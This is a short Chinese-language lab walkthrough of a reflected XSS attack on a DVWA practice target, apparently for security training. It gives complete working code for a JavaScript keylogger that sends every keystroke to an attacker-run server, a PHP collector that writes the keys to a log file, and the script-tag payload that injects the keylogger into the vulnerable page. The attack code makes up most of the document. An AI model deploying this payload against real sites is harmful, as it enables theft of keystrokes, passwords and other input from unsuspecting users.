本实验以反射型xss漏洞为例
实验环境:kali 192.168.133.131
dvwa靶机 192.168.133.128
1、首先看起kali上的apache服务,命令:
/etc/init.d/apache2 start
2、在kali的浏览器输入:http://192.168.133.131 或 http://localhost 地址进行访问测试,检查apache是否开启成功
3、 进入kali的/var/www/html路径创建三个文件
Keylogger.js Keylogger.php Keylog.txt
(1)keylogger.js[js脚本文件]
document.onkeypress = function(evt) {
evt = evt || window.event
key = String.fromCharCode(evt.charCode)
if (key) {
var http = new XMLHttpRequest();
var param = encodeURI(key)
http.open("POST","http://192.168.133.131/Keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-formurlencoded");
http.send("key="+param);
}
}
(2)keylogger.php 【用于将键盘上的敲击的记录通过POST传送到keylog.txt中】
<?php
$key = $_POST['key'];
$log = fopen("keylog.txt","a");
fwrite($log,$key);
fclose($log);
?>
(3)keylog.txt 【空文件用于接收键盘的记录】
4、xss漏洞测试开始
- 在浏览器访问dvwa靶机并且登录
2. 在输入框中输入以下代码
<script src="http://192.168.133.131/Keylogger.js "></script>
3. 紧接着在这个页面随意敲击键盘并查看keylog.txt是否有记录